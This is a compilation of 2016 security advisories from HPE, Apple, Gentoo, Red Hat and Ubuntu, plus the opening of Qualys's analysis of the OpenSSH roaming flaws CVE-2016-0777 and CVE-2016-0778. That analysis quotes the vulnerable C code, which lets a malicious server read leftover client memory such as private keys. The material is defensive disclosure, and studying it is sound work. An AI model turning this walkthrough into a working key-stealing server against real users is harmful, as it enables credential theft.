https://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482-vbox.ova
The VMware ESX(i) and VMware Player kit is available at:
https://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482.ova
HISTORY
Version:1 (rev.1) - 29 August 2016 Initial release
Third Party Security Patches: Third party security patches that are to be
installed on systems running Hewlett Packard Enterprise (HPE) software
products should be applied in accordance with the customer's patch management
policy.
Support: For issues about implementing the recommendations of this Security
Bulletin, contact normal HPE Services support channel.
Report: To report a potential security vulnerability for any HPE supported
product:
Web form: https://www.hpe.com/info/report-security-vulnerability
Email: security-alert@hpe.com
Subscribe: To initiate a subscription to receive future HPE Security Bulletin
alerts via Email: http://www.hpe.com/support/Subscriber_Choice
Security Bulletin Archive: A list of recently released Security Bulletins is
available here: http://www.hpe.com/support/Security_Bulletin_Archive
Software Product Category: The Software Product Category is represented in
the title by the two characters following HPSB.
3C = 3COM
3P = 3rd Party Software
GN = HPE General Software
HF = HPE Hardware and Firmware
MU = Multi-Platform Software
NS = NonStop Servers
OV = OpenVMS
PV = ProCurve
ST = Storage Software
UX = HP-UX
Copyright 2016 Hewlett Packard Enterprise
Hewlett Packard Enterprise shall not be liable for technical or editorial
errors or omissions contained herein. The information provided is provided
"as is" without warranty of any kind. To the extent permitted by law, neither
HP or its affiliates, subcontractors or suppliers will be liable for
incidental,special or consequential damages including downtime cost; lost
profits; damages relating to the procurement of substitute products or
services; or damages for loss of data, or software restoration. The
information in this document is subject to change without notice. Hewlett
Packard Enterprise and the names of Hewlett Packard Enterprise products
referenced herein are trademarks of Hewlett Packard Enterprise in the United
States and other countries. Other product and company names mentioned herein
may be trademarks of their respective owners. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
APPLE-SA-2016-03-21-5 OS X El Capitan 10.11.4 and Security Update
2016-002
OS X El Capitan 10.11.4 and Security Update 2016-002 is now available
and addresses the following:
apache_mod_php
Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,
and OS X El Capitan v10.11 to v10.11.3
Impact: Processing a maliciously crafted .png file may lead to
arbitrary code execution
Description: Multiple vulnerabilities existed in libpng versions
prior to 1.6.20. These were addressed by updating libpng to version
1.6.20.
CVE-ID
CVE-2015-8126 : Adam Mariš
CVE-2015-8472 : Adam Mariš
AppleRAID
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed through
improved input validation.
CVE-ID
CVE-2016-1733 : Proteas of Qihoo 360 Nirvan Team
AppleRAID
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: A local user may be able to determine kernel memory layout
Description: An out-of-bounds read issue existed that led to the
disclosure of kernel memory. This was addressed through improved
input validation.
CVE-ID
CVE-2016-1732 : Proteas of Qihoo 360 Nirvan Team
AppleUSBNetworking
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue existed in the parsing of
data from USB devices. This issue was addressed through improved
input validation.
CVE-ID
CVE-2016-1734 : Andrea Barisani and Andrej Rosano of Inverse Path
Bluetooth
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: Multiple memory corruption issues were addressed
through improved memory handling.
CVE-ID
CVE-2016-1735 : Jeonghoon Shin@A.D.D
CVE-2016-1736 : beist and ABH of BoB
Carbon
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: Processing a maliciously crafted .dfont file may lead to
arbitrary code execution
Description: Multiple memory corruption issues existed in the
handling of font files. These issues were addressed through improved
bounds checking.
CVE-ID
CVE-2016-1737 : an anonymous researcher
dyld
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An attacker may tamper with code-signed applications to
execute arbitrary code in the application's context
Description: A code signing verification issue existed in dyld.
CVE-ID
CVE-2016-1738 : beist and ABH of BoB
FontParser
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: Opening a maliciously crafted PDF file may lead to an
unexpected application termination or arbitrary code execution
Description: A memory corruption issue was addressed through
improved memory handling.
CVE-ID
CVE-2016-1740 : HappilyCoded (ant4g0nist and r3dsm0k3) working with
Trend Micro's Zero Day Initiative (ZDI)
HTTPProtocol
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: A remote attacker may be able to execute arbitrary code
Description: Multiple vulnerabilities existed in nghttp2 versions
prior to 1.6.0, the most serious of which may have led to remote code
execution. These were addressed by updating nghttp2 to version 1.6.0.
CVE-ID
CVE-2015-8659
Intel Graphics Driver
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: Multiple memory corruption issues were addressed
through improved memory handling.
CVE-ID
CVE-2016-1743 : Piotr Bania of Cisco Talos
CVE-2016-1744 : Ian Beer of Google Project Zero
IOFireWireFamily
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: A local user may be able to cause a denial of service
Description: A null pointer dereference was addressed through
improved validation.
CVE-ID
CVE-2016-1745 : sweetchip of Grayhash
IOGraphics
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed through
improved input validation.
CVE-ID
CVE-2016-1746 : Peter Pi of Trend Micro working with Trend Micro's
Zero Day Initiative (ZDI)
CVE-2016-1747 : Juwei Lin of Trend Micro working with Trend Micro's
Zero Day Initiative (ZDI)
IOHIDFamily
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to determine kernel memory layout
Description: A memory corruption issue was addressed through
improved memory handling.
CVE-ID
CVE-2016-1748 : Brandon Azad
IOUSBFamily
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: Multiple memory corruption issues were addressed
through improved memory handling.
CVE-ID
CVE-2016-1749 : Ian Beer of Google Project Zero and Juwei Lin of
Trend Micro working with Trend Micro's Zero Day Initiative (ZDI)
Kernel
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A use after free issue was addressed through improved
memory management.
CVE-ID
CVE-2016-1750 : CESG
Kernel
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A race condition existed during the creation of new
processes. This was addressed through improved state handling.
CVE-ID
CVE-2016-1757 : Ian Beer of Google Project Zero and Pedro Vilaca
Kernel
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A null pointer dereference was addressed through
improved input validation.
CVE-ID
CVE-2016-1756 : Lufeng Li of Qihoo 360 Vulcan Team
Kernel
Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,
and OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: Multiple memory corruption issues were addressed
through improved memory handling.
CVE-ID
CVE-2016-1754 : Lufeng Li of Qihoo 360 Vulcan Team
CVE-2016-1755 : Ian Beer of Google Project Zero
CVE-2016-1759 : lokihardt
Kernel
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to determine kernel memory layout
Description: An out-of-bounds read issue existed that led to the
disclosure of kernel memory. This was addressed through improved
input validation.
CVE-ID
CVE-2016-1758 : Brandon Azad
Kernel
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: Multiple integer overflows were addressed through
improved input validation.
CVE-ID
CVE-2016-1753 : Juwei Lin Trend Micro working with Trend Micro's Zero
Day Initiative (ZDI)
Kernel
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to cause a denial of service
Description: A denial of service issue was addressed through
improved validation.
CVE-ID
CVE-2016-1752 : CESG
libxml2
Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,
and OS X El Capitan v10.11 to v10.11.3
Impact: Processing maliciously crafted XML may lead to unexpected
application termination or arbitrary code execution
Description: Multiple memory corruption issues were addressed
through improved memory handling.
CVE-ID
CVE-2015-1819
CVE-2015-5312 : David Drysdale of Google
CVE-2015-7499
CVE-2015-7500 : Kostya Serebryany of Google
CVE-2015-7942 : Kostya Serebryany of Google
CVE-2015-8035 : gustavo.grieco
CVE-2015-8242 : Hugh Davenport
CVE-2016-1761 : wol0xff working with Trend Micro's Zero Day
Initiative (ZDI)
CVE-2016-1762
Messages
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An attacker who is able to bypass Apple's certificate
pinning, intercept TLS connections, inject messages, and record
encrypted attachment-type messages may be able to read attachments
Description: A cryptographic issue was addressed by rejecting
duplicate messages on the client.
CVE-ID
CVE-2016-1788 : Christina Garman, Matthew Green, Gabriel Kaptchuk,
Ian Miers, and Michael Rushanan of Johns Hopkins University
Messages
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: Clicking a JavaScript link can reveal sensitive user
information
Description: An issue existed in the processing of JavaScript links.
This issue was addressed through improved content security policy
checks.
CVE-ID
CVE-2016-1764 : Matthew Bryan of the Uber Security Team (formerly of
Bishop Fox), Joe DeMesy and Shubham Shah of Bishop Fox
NVIDIA Graphics Drivers
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: Multiple memory corruption issues were addressed
through improved memory handling.
CVE-ID
CVE-2016-1741 : Ian Beer of Google Project Zero
OpenSSH
Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,
and OS X El Capitan v10.11 to v10.11.3
Impact: Connecting to a server may leak sensitive user information,
such as a client's private keys
Description: Roaming, which was on by default in the OpenSSH client,
exposed an information leak and a buffer overflow. These issues were
addressed by disabling roaming in the client.
CVE-ID
CVE-2016-0777 : Qualys
CVE-2016-0778 : Qualys
OpenSSH
Available for: OS X Mavericks v10.9.5 and OS X Yosemite v10.10.5
Impact: Multiple vulnerabilities in LibreSSL
Description: Multiple vulnerabilities existed in LibreSSL versions
prior to 2.1.8. These were addressed by updating LibreSSL to version
2.1.8.
CVE-ID
CVE-2015-5333 : Qualys
CVE-2015-5334 : Qualys
OpenSSL
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: A remote attacker may be able to cause a denial of service
Description: A memory leak existed in OpenSSL versions prior to
0.9.8zh. This issue was addressed by updating OpenSSL to version
0.9.8zh.
CVE-ID
CVE-2015-3195
Python
Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,
and OS X El Capitan v10.11 to v10.11.3
Impact: Processing a maliciously crafted .png file may lead to
arbitrary code execution
Description: Multiple vulnerabilities existed in libpng versions
prior to 1.6.20. These were addressed by updating libpng to version
1.6.20.
CVE-ID
CVE-2014-9495
CVE-2015-0973
CVE-2015-8126 : Adam Mariš
CVE-2015-8472 : Adam Mariš
QuickTime
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: Processing a maliciously crafted FlashPix Bitmap Image may
lead to unexpected application termination or arbitrary code
execution
Description: Multiple memory corruption issues were addressed
through improved memory handling.
CVE-ID
CVE-2016-1767 : Francis Provencher from COSIG
CVE-2016-1768 : Francis Provencher from COSIG
QuickTime
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: Processing a maliciously crafted Photoshop document may lead
to unexpected application termination or arbitrary code execution
Description: Multiple memory corruption issues were addressed
through improved memory handling.
CVE-ID
CVE-2016-1769 : Francis Provencher from COSIG
Reminders
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: Clicking a tel link can make a call without prompting the
user
Description: A user was not prompted before invoking a call. This
was addressed through improved entitlement checks.
CVE-ID
CVE-2016-1770 : Guillaume Ross of Rapid7 and Laurent Chouinard of
Laurent.ca
Ruby
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: A local attacker may be able to cause unexpected application
termination or arbitrary code execution
Description: An unsafe tainted string usage vulnerability existed in
versions prior to 2.0.0-p648.
CVE-ID
CVE-2015-7551
Security
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: A local user may be able to check for the existence of
arbitrary files
Description: A permissions issue existed in code signing tools. This
was addressed though additional ownership checks.
CVE-ID
CVE-2016-1773 : Mark Mentovai of Google Inc.
Security
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: Processing a maliciously crafted certificate may lead to
arbitrary code execution
Description: A memory corruption issue existed in the ASN.1 decoder.
This issue was addressed through improved input validation.
CVE-ID
CVE-2016-1950 : Francis Gabriel of Quarkslab
Tcl
Available for:
OS X Yosemite v10.10.5 and OS X El Capitan v10.11 to v10.11.3
Impact: Processing a maliciously crafted .png file may lead to
arbitrary code execution
Description: Multiple vulnerabilities existed in libpng versions
prior to 1.6.20. These were addressed by removing libpng.
CVE-ID
CVE-2015-8126 : Adam Mariš
TrueTypeScaler
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: Processing a maliciously crafted font file may lead to
arbitrary code execution
Description: A memory corruption issue existed in the processing of
font files. This issue was addressed through improved input
validation.
CVE-ID
CVE-2016-1775 : 0x1byte working with Trend Micro's Zero Day
Initiative (ZDI)
Wi-Fi
Available for: OS X El Capitan v10.11 to v10.11.3
Impact: An attacker with a privileged network position may be able
to execute arbitrary code
Description: A frame validation and memory corruption issue existed
for a given ethertype. This issue was addressed through additional
ethertype validation and improved memory handling.
CVE-ID
CVE-2016-0801 : an anonymous researcher
CVE-2016-0802 : an anonymous researcher
OS X El Capitan 10.11.4 includes the security content of Safari 9.1.
https://support.apple.com/kb/HT206171
OS X El Capitan v10.11.4 and Security Update 2016-002 may be obtained
from the Mac App Store or Apple's Software Downloads web site:
http://www.apple.com/support/downloads/
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
Comment: GPGTools - https://gpgtools.org
iQIcBAEBCgAGBQJW8JQFAAoJEBcWfLTuOo7tZSYP/1bHFA1qemkD37uu7nYpk/q6
ARVsPgME1I1+5tOxX0TQJgzMBmdQsKYdsTiLpDk5HTuv+dAMsFfasaUItGk8Sz1w
HiYjSfVsxL+Pjz3vK8/4/fsi2lX6472MElRw8gudITOhXtniGcKo/vuA5dB+vM3l
Jy1NLHHhZ6BD2t0bBmlz41mZMG3AMxal2wfqE+5LkjUwASzcvC/3B1sh7Fntwyau
/71vIgMQ5AaETdgQJAuQivxPyTlFduBRgLjqvPiB9eSK4Ctu5t/hErFIrP2NiDCi
UhfZC48XbiRjJfkUsUD/5TIKnI+jkZxOnch9ny32dw2kUIkbIAbqufTkzsMXOpng
O+rI93Ni7nfzgI3EkI2bq+C+arOoRiveWuJvc3SMPD5RQHo4NCQVs0ekQJKNHF78
juPnY29n8WMjwLS6Zfm+bH+n8ELIXrmmEscRztK2efa9S7vJe+AgIxx7JE/f8OHF
i9K7UQBXFXcpMjXi1aTby/IUnpL5Ny4NVwYwIhctj0Mf6wTH7uf/FMWYIQOXcIfP
Izo+GXxNeLd4H2ypZ+UpkZg/Sn2mtCd88wLc96+owlZPBlSqWl3X1wTlp8i5FP2X
qlQ7RcTHJDv8jPT/MOfzxEK1n/azp45ahHA0o6nohUdxlA7PLci9vPiJxqKPo/0q
VZmOKa8qMxB1L/JmdCqy
=mZR+
-----END PGP SIGNATURE-----
.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/openssh < 7.1_p2 >= 7.1_p2
Description
===========
Qualys have reported two issues in the "roaming" code included in the
OpenSSH client, which provides undocumented, experimental support for
resuming SSH connections. To do
so, add "UseRoaming no" to the SSH client configuration, or specify "-o
'UseRoaming no'" on the command line.
Resolution
==========
All OpenSSH users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/openssh-7.1_p2"
References
==========
[ 1 ] CVE-2016-0777
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-0777
[ 2 ] CVE-2016-0778
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-0778
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/201601-01
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us.
License
=======
Copyright 2016 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Moderate: openssh security update
Advisory ID: RHSA-2016:0043-01
Product: Red Hat Enterprise Linux
Advisory URL: https://rhn.redhat.com/errata/RHSA-2016-0043.html
Issue date: 2016-01-14
CVE Names: CVE-2016-0777 CVE-2016-0778
=====================================================================
1. Summary:
Updated openssh packages that fix two security issues are now available for
Red Hat Enterprise Linux 7.
Red Hat Product Security has rated this update as having Moderate security
impact. Common Vulnerability Scoring System (CVSS) base scores, which give
detailed severity ratings, are available for each vulnerability from the
CVE links in the References section. Relevant releases/architectures:
Red Hat Enterprise Linux Client (v. 7) - x86_64
Red Hat Enterprise Linux Client Optional (v. 7) - x86_64
Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64
Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64
Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64
Red Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64
Red Hat Enterprise Linux Workstation (v. 7) - x86_64
Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64
3. Description:
OpenSSH is OpenBSD's SSH (Secure Shell) protocol implementation.
These packages include the core files necessary for both the OpenSSH client
and server. (CVE-2016-0778)
Red Hat would like to thank Qualys for reporting these issues.
All openssh users are advised to upgrade to these updated packages, which
contain backported patches to correct these issues. After installing this
update, the OpenSSH server daemon (sshd) will be restarted automatically. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
5. Package List:
Red Hat Enterprise Linux Client (v. 7):
Source:
openssh-6.6.1p1-23.el7_2.src.rpm
x86_64:
openssh-6.6.1p1-23.el7_2.x86_64.rpm
openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm
openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Client Optional (v. 7):
x86_64:
openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
Red Hat Enterprise Linux ComputeNode (v. 7):
Source:
openssh-6.6.1p1-23.el7_2.src.rpm
x86_64:
openssh-6.6.1p1-23.el7_2.x86_64.rpm
openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux ComputeNode Optional (v. 7):
x86_64:
openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Server (v. 7):
Source:
openssh-6.6.1p1-23.el7_2.src.rpm
ppc64:
openssh-6.6.1p1-23.el7_2.ppc64.rpm
openssh-askpass-6.6.1p1-23.el7_2.ppc64.rpm
openssh-clients-6.6.1p1-23.el7_2.ppc64.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm
openssh-keycat-6.6.1p1-23.el7_2.ppc64.rpm
openssh-server-6.6.1p1-23.el7_2.ppc64.rpm
ppc64le:
openssh-6.6.1p1-23.el7_2.ppc64le.rpm
openssh-askpass-6.6.1p1-23.el7_2.ppc64le.rpm
openssh-clients-6.6.1p1-23.el7_2.ppc64le.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm
openssh-keycat-6.6.1p1-23.el7_2.ppc64le.rpm
openssh-server-6.6.1p1-23.el7_2.ppc64le.rpm
s390x:
openssh-6.6.1p1-23.el7_2.s390x.rpm
openssh-askpass-6.6.1p1-23.el7_2.s390x.rpm
openssh-clients-6.6.1p1-23.el7_2.s390x.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm
openssh-keycat-6.6.1p1-23.el7_2.s390x.rpm
openssh-server-6.6.1p1-23.el7_2.s390x.rpm
x86_64:
openssh-6.6.1p1-23.el7_2.x86_64.rpm
openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm
openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 7):
ppc64:
openssh-debuginfo-6.6.1p1-23.el7_2.ppc.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm
openssh-ldap-6.6.1p1-23.el7_2.ppc64.rpm
openssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64.rpm
ppc64le:
openssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm
openssh-ldap-6.6.1p1-23.el7_2.ppc64le.rpm
openssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64le.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64le.rpm
s390x:
openssh-debuginfo-6.6.1p1-23.el7_2.s390.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm
openssh-ldap-6.6.1p1-23.el7_2.s390x.rpm
openssh-server-sysvinit-6.6.1p1-23.el7_2.s390x.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.s390.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.s390x.rpm
x86_64:
openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 7):
Source:
openssh-6.6.1p1-23.el7_2.src.rpm
x86_64:
openssh-6.6.1p1-23.el7_2.x86_64.rpm
openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm
openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 7):
x86_64:
openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. References:
https://access.redhat.com/security/cve/CVE-2016-0777
https://access.redhat.com/security/cve/CVE-2016-0778
https://access.redhat.com/security/updates/classification/#moderate
https://access.redhat.com/articles/2123781
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2016 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iD8DBQFWmAWQXlSAg2UNWIIRAh17AJ9SiT1MA1YtOA6ctMp9jIo4e9XrFwCgkbmo
nXgYWs8cZcyoTRVoriTGHQo=
=1sk9
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
| VAR-201601-0029 | CVE-2016-0777 | OpenSSH Client contains a client information leak vulnerability and buffer overflow |
CVSS V2: 4.0 CVSS V3: 6.5 Severity: MEDIUM |
The resend_bytes function in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2 allows remote servers to obtain sensitive information from process memory by requesting transmission of an entire buffer, as demonstrated by reading a private key. OpenSSH client code versions 5.4 through 7.1p1 contains a client information leak vulnerability that could allow an OpenSSH client to leak information not limited to but including private keys, as well as a buffer overflow in certain non-default configurations. OpenSSH is prone to an information-disclosure vulnerability.
Successfully exploiting this issue allows attackers to obtain sensitive information that may aid in further attacks. This tool is an open source implementation of the SSH protocol, supports encryption of all transmissions, and can effectively prevent eavesdropping, connection hijacking, and other network-level attacks. The following versions are affected: OpenSSH 5.x, 6.x, 7.x prior to 7.1p2. ============================================================================
Ubuntu Security Notice USN-2869-1
January 14, 2016
openssh vulnerabilities
============================================================================
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 15.10
- Ubuntu 15.04
- Ubuntu 14.04 LTS
- Ubuntu 12.04 LTS
Summary:
OpenSSH could be made to expose sensitive information over the network.
Update instructions:
The problem can be corrected by updating your system to the following
package versions:
Ubuntu 15.10:
openssh-client 1:6.9p1-2ubuntu0.1
Ubuntu 15.04:
openssh-client 1:6.7p1-5ubuntu1.4
Ubuntu 14.04 LTS:
openssh-client 1:6.6p1-2ubuntu2.4
Ubuntu 12.04 LTS:
openssh-client 1:5.9p1-5ubuntu1.8
In general, a standard system update will make all the necessary changes.
Qualys Security Advisory
Roaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778
========================================================================
Contents
========================================================================
Summary
Information Leak (CVE-2016-0777)
- Analysis
- Private Key Disclosure
- Mitigating Factors
- Examples
Buffer Overflow (CVE-2016-0778)
- Analysis
- Mitigating Factors
- File Descriptor Leak
Acknowledgments
Proof Of Concept
========================================================================
Summary
========================================================================
Since version 5.4 (released on March 8, 2010), the OpenSSH client
supports an undocumented feature called roaming: if the connection to an
SSH server breaks unexpectedly, and if the server supports roaming as
well, the client is able to reconnect to the server and resume the
suspended SSH session. This information leak may have already been exploited in
the wild by sophisticated attackers, and high-profile sites or users may
need to regenerate their SSH keys accordingly.
The buffer overflow, on the other hand, is present in the default
configuration of the OpenSSH client but its exploitation requires two
non-default options: a ProxyCommand, and either ForwardAgent (-A) or
ForwardX11 (-X). This buffer overflow is therefore unlikely to have any
real-world impact, but provides a particularly interesting case study.
All OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be
easily hot-fixed by setting the undocumented option "UseRoaming" to
"no", as detailed in the Mitigating Factors section. OpenSSH version
7.1p2 (released on January 14, 2016) disables roaming by default.
========================================================================
Information Leak (CVE-2016-0777)
========================================================================
------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------
If the OpenSSH client connects to an SSH server that offers the key
exchange algorithm "resume@appgate.com", it sends the global request
"roaming@appgate.com" to the server, after successful authentication. If
this request is accepted, the client allocates a roaming buffer out_buf,
by calling malloc() (and not calloc()) with an out_buf_size that is
arbitrarily chosen by the server:
63 void
64 roaming_reply(int type, u_int32_t seq, void *ctxt)
65 {
66 if (type == SSH2_MSG_REQUEST_FAILURE) {
67 logit("Server denied roaming");
68 return;
69 }
70 verbose("Roaming enabled");
..
75 set_out_buffer_size(packet_get_int() + get_snd_buf_size());
..
77 }
40 static size_t out_buf_size = 0;
41 static char *out_buf = NULL;
42 static size_t out_start;
43 static size_t out_last;
..
75 void
76 set_out_buffer_size(size_t size)
77 {
78 if (size == 0 || size > MAX_ROAMBUF)
79 fatal("%s: bad buffer size %lu", __func__, (u_long)size);
80 /*
81 * The buffer size can only be set once and the buffer will live
82 * as long as the session lives.
83 */
84 if (out_buf == NULL) {
85 out_buf_size = size;
86 out_buf = xmalloc(size);
87 out_start = 0;
88 out_last = 0;
89 }
90 }
The OpenSSH client's roaming_write() function, a simple wrapper around
write(), calls wait_for_roaming_reconnect() to transparently reconnect
to the SSH server after a disconnection. It also calls buf_append() to
copy the data sent to the server into the roaming buffer out_buf. During
a reconnection, the client is therefore able to resend the data that was
not received by the server because of the disconnection:
198 void
199 resend_bytes(int fd, u_int64_t *offset)
200 {
201 size_t available, needed;
202
203 if (out_start < out_last)
204 available = out_last - out_start;
205 else
206 available = out_buf_size;
207 needed = write_bytes - *offset;
208 debug3("resend_bytes: resend %lu bytes from %llu",
209 (unsigned long)needed, (unsigned long long)*offset);
210 if (needed > available)
211 fatal("Needed to resend more data than in the cache");
212 if (out_last < needed) {
213 int chunkend = needed - out_last;
214 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,
215 chunkend);
216 atomicio(vwrite, fd, out_buf, out_last);
217 } else {
218 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);
219 }
220 }
